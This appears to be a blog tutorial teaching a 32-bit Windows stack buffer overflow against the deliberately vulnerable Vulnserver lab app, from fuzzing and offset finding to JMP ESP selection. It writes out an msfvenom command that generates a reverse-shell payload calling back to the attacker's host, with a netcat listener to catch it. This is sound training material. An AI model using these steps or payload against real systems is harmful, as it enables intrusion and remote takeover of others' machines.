Hello everyone! Welcome to my first post here at VetSec. For my first blog, I thought it would be helpful to provide a walkthrough of a 32-bit Windows buffer overflow. For most people breaking into cyber security, buffer overflows can be hard for someone to wrap their mind around. My goal is that by the end of this tutorial, the average reader will have a clearer understanding and less fear of buffer overflows.
What we will cover:
– Anatomy of the stack
– Finding the offset
– Overwriting the EIP
– Finding bad characters
– Finding the right module
– Generating shellcode
– Gaining root!
Tools needed for this walkthrough:
-A Windows machine (preferably Windows 10)
-Your favorite hacking VM (I’ll be using Kali Linux)
–Vulnserverinstalled on your Windows machine
–Immunity Debugger installed on your Windows machine
–Mona Modules installed in your Immunity Debugger folder
Anatomy of the stack:
When we look into the memory stack, we will find 4 main components:
1. Extended Stack Pointer (ESP)
2. Buffer Space
3. Extended Base Pointer (EBP)
4. Extended Instruction Pointer (EIP) / Return Address
The 4 components above actually sit in order from top to bottom.
For the scope of this tutorial, we really need to be concerned with buffer space and the EIP. Buffer space is used as a storage area for memory in some coding languages. With proper input sanitation, information placed into the buffer space should never travel outside of the buffer space itself. Another way to think of this is that information placed into the buffer space should stop at the EBP as such:
In the above example, you can see that a a number of A’s (x41) were sent to the buffer space, but were correctly sanitized. The A’s did not escape the buffer space and thus, no buffer overflow occurred. Now, let’s look at an example of a buffer overflow:
Now, the A’s have completely escaped the buffer space and have actually reached the EIP. This is an example of a buffer overflow and how poor coding can become dangerous. If an attacker can gain control of the EIP, he or she can use the pointer to point to malicious code and gain a reverse shell. Lucky for you, we’re gonna do just that!
The first step in any buffer overflow is fuzzing. Fuzzing allows us to send bytes of data to a vulnerable program (in our case, Vulnserver) in growing iterations, in hopes of overflowing the buffer space and overwriting the EIP. First, let’s write a simple Python fuzzing script on our Kali machine. Your script should look like this:
The code does the following:
1. Sets the variable “buffer” equal to 100 A’s.
2. Performs a while loop, sending each increasing iteration of A’s to Vulnserver and stopping when Vulnserver crashes.
It should be noted that the IP you use will be the Windows machine that is running Vulnserver, that Vulnserver runs on port 9999 by default, and the vulnerability we are attacking is the “TRUN” command. To see the command in action, open up Vulnserver and play around for a little bit.
Once you have your code written, load up Vulnserver and Immunity Debugger as administrator (very important). In Immunity Debugger, click on File > Attach and select vulnserver.exe. Finally, let’s execute our script and see what happens:
You should notice that Vulnserver crashes:
You should also notice something pretty interesting in Immunity Debugger:
All of the registers have been overwritten by 41 (hex for A). This means that we have a buffer overflow vulnerability on our hands and we have proven that we can overwrite the EIP. At this point, we know that the EIP is located somewhere between 1 and 2700 bytes, but we are not sure where it’s located exactly. What we need to do next is figure out exactly where the EIP is located (in bytes) and attempt to control it.
*Note: In some instances, Vulnserver will not crash, but Immunity will pause, which indicates a crash. In this instance, you may 1) have to hit “Ctrl + C” to stop the fuzzing script and 2) not have all registers overwritten by “A”‘s. This is okay as long as your program crashed and you have a general idea as to how many bytes were sent.
Finding the Offset:
So, now that we know we can overwrite the EIP and that the overwrite occurred between 1 and 2700 bytes (let’s use 3,000 moving forward for a little extra padding), we can use a couple of Ruby tools called Pattern Create and Pattern Offset to find the exact location of the overwrite. Pattern Create allows us to generate a cyclical amount of bytes, based on the number of bytes we specify. We can then send those bytes to Vulnserver, instead of A’s, and try to find exactly where we overwrote the EIP. Pattern Offset will help us determine that soon.
In Kali, by default, these tools are located in the /usr/share/metasploit-framework/tools/exploit folder. The tool and command we need to run is: pattern_create.rb -l 3000 where “l” is for length and “3000” is for bytes. It should spit something out like this:
Now, we’re going to need to modify our code to include all of the bytes that were just generated by Pattern Create. Our new code should look something like this:
Where the offset variable is a copy/paste of the Pattern Create output. You will notice that I changed the code slightly. We no longer need to run loops, so I have put a try command in instead. We just need to send this code one time. So, let’s go ahead and restart Vulnserver AND Immunity Debugger. I recommend closing completely out of Immunity Debugger and reattaching as you did in the previous step. I have had issues leaving Immunity open and attempting to continue on. Remember to run both as Administrator. Now, execute the code and see what is returned:
Notice that we still overwrote the program. Everything appears as it did before, with Vulnserver crashing and our “TRUN” message appearing on the EAX register. Now, look at the EIP. The value is 386F4337. If we executed correctly, this value is actually part of our code that we generated with Pattern Create. Let’s try using Pattern Offset to find out. The command that should be typed is pattern_offset.rb -l 3000 -q 386F4337 where “q” is our EIP value. Here’s my results:
As you can see, an exact match was found at 2003 bytes. This is great news. We can now try to control the EIP, which will be critical later in our exploit.
Overwriting the EIP:
Now that we know the EIP is after 2003 bytes, we can modify our code ever so slightly to confirm our control. Here is my updated code:
So, now the shellcode variable is back to a bunch of A’s and four B’s. What we are doing here is sending 2003 A’s in an attempt to reach, but not overwrite, the EIP. Then we are sending four B’s, which should overwrite the EIP with 42424242. Remember, the EIP has a length of four bytes, so if we overwrite successfully, we will be in full control and well on our way to root. Let’s execute the code and have a look:
Great success! Our EIP reads “42424242” just as we hoped. Now, we have to do a little research into how Vulnserver operates and what byte characters it is friendly with in order to finalize our exploit.
Finding Bad Characters:
Certain byte characters can cause issues in the development of exploits. We must run every byte through the Vulnserver program to see if any characters cause issues. By default, the null byte(x00) is always considered a bad character as it will truncate shellcode when executed. To find bad characters in Vulnserver, we can add an additional variable of “badchars” to our code that contains a list of every single hex character. It should look something like this (you can find an easy copy/paste of the variable here):
So, let’s again close/re-open Vulnserver and Immunity Debugger and send this bad boy off. Once you have sent the exploit, you will need to right click on the ESP register and select “Follow in Dump”. You should notice a little bit of movement in the bottom left corner of the program. If you look carefully, you should see all of your bytes in order starting with 01, 02, 03, etc and ending with FF. If a bad character were present, it would seem out of place. Luckily for us, there are no bad characters in the Vulnserver program. Notice below how all of our numbers appear perfect and in order:
However, I want to at least provide an example of what bad characters might look like in a real world exploit. Examine this picture below and see if you can identify the bad characters:
Do you see the difference? Look at 04 and 05, for example. The characters are not there. Instead, they have been replaced by “B0”. If you look through the all of the characters, line by line, you’ll notice quite a few bad ones exist:
In this scenario, we would need to mark down every missing character for later shellcode development. However, the only bad character we need to worry about with Vulnserver is x00. Now to find the right module…
Finding the Right Module:
When I say “finding the right module” I mean that we need to find some part of Vulnserver that does not have any sort of memory protections. Memory protections, such as DEP, ASLR, and SafeSEH can cause headaches. While these protections can be bypassed, they are not in the scope for this lesson.
Luckily for us again, Vulnserver has a module that fits our criteria. To see for yourself, re-open Vulnserver and Immunity Debugger and then type “!mona modules” in the bottom search bar on Immunity. You should see some potential options display:
What we’re looking for is “False” across the board, preferably. That means there are no memory protections present in the module. The top module catches my eye immediately. It looks like essfunc.dll is running as part of Vulnserver and has no memory protections. Let’s write down the module and move on to the next step.
What we need to do now is find the opcode equivalent of JMP ESP. We are using JMP ESP because our EIP will point to the JMP ESP location, which will jump to our malicious shellcode that we will inject later. Finding the opcode equivalent means we are converting assembly language into hexcode. There is a tool to do this called nasm_shell.
Locate nasm_shell on your Kali machine and run it. Then, type in JMP ESP and hit enter. Your results should look like mine:
Our JMP ESP opcode equivalent is “FFE4”. Now, we can use Mona again to combine this new information with our previously discovered module to find our pointer address. The pointer address is what we will place into the EIP to point to our malicious shellcode. In our Immunity searchbar, let’s type: !mona find -s “\xff\xe4” -m essfunc.dll and view the results:
The image is a little small, so zoom in if you need to. What we have just generated is a list of addresses that we can potentially use as our pointer. The addresses are located on the left side, in white. I am going to select the first address, 625011AF, and add it to my Python code. Note: your address may be different depending on the version of Windows you are running. So, do not panic if the addresses are not the same! Your shellcode should now look something like this:
So, now we replaced our four B’s with our return address. Notice something weird or unique about how the return address was entered? It’s backwards! This is actually called Little Endian. We have to use the Little Endian format in x86 architecture because the low-order byte is stored in the memory at the lowest address and the high-order byte is stored at the highest address. Thus, we enter our return address in backwards.
Now, we need to test out our return address. Again, with a freshly attached Vulnserver, we need to find our return address in Immunity Debugger. To do this, click on the far right arrow on the top panel of Immunity:
Then search for “625011AF” (or the return address you found), without the quotes, in the “Enter expression to follow” prompt. That should bring up your return address, FFE4, JMP ESP location. Once you’ve found it, hit F2 and the address should turn baby blue, indicating that we have set a breakpoint.
Now, you can execute your code and see if the breakpoint triggers. If you notice it trigger in Immunity Debugger, you are in the home stretch and ready to develop your exploit!
Now, we can piece together all of the information we have gathered to generate malicious shellcode. The shellcode will tell the victim machine to talk back to our machine. Using msfvenom, we can supply the following syntax: msfvenom -p windows/shell_reverse_tcp LHOST=your.Kali.IP.address LPORT=4444 EXITFUNC=thread -f c -a x86 –platform windows -b “\x00”
Now, before we submit, let me break down everything that is going on. We are using msfvenom, a shellcode generator, to generate a malicious shellcode that we will inject into our victim’s machine via the buffer overflow attack. Our EIP will point to the JMP ESP, which will run our malicious shellcode and give us root (hopefully). Broken down, each switch means the following:
-p is for payload. We are using a non-staged windows reverse shell payload.
LHOST is the ATTACKER’S IP address.
LPORT is the ATTACKER’S port of choice. Here I am using 4444.
EXITFUNC=thread adds stability to our payload.
-f is for file type. We are going to generate a C file type here.
-a is for architecture. The machine we are attacking is x86.
–platform is for OS type. We are attacking a Windows machine.
-b is for bad characters. Remember, the only bad character we have is the null byte, x00.
Here is my example:
As you can see, we generated 351 bytes of shellcode. We need to copy/paste this shellcode into our Python script. Here is what my final script looks like:
So, I have created a variable called “exploit” and placed the malicious shellcode inside of it. You might notice that I have also added 32 “\x90″s to the shellcode variable. This is standard practice. The x90 byte is also known as the NOP, or no operation. It literally does nothing. However, when developing exploits, we can use it as padding. There are instances where our exploit code can interfere with our return address and not run properly. To avoid this interference, we can add some padding in-between the two items.
Once you have your Python script up to date, let’s move on to the final step!
Now, set up a netcat listener on your designated port (remember, I used 4444 in my example). Once you have netcat running, fire up Vulnserver and run your exploit code. If you’ve done all the steps right, you should get root/system:
In my case, I gained access to the user running the program (myself), who was an admin. Win.
I hope this tutorial has been useful for you. Buffer overflows took me a while to wrap my head around and I have found that teaching it not only helps me remember, but helps others figure out the small nuances as well. Feel free to leave a comment, reach out to me on Twitter, or use the contact form if you have any questions.
Wanna chat? Add me on Twitter, YouTube or LinkedIn!
Veteran? Join our Slack!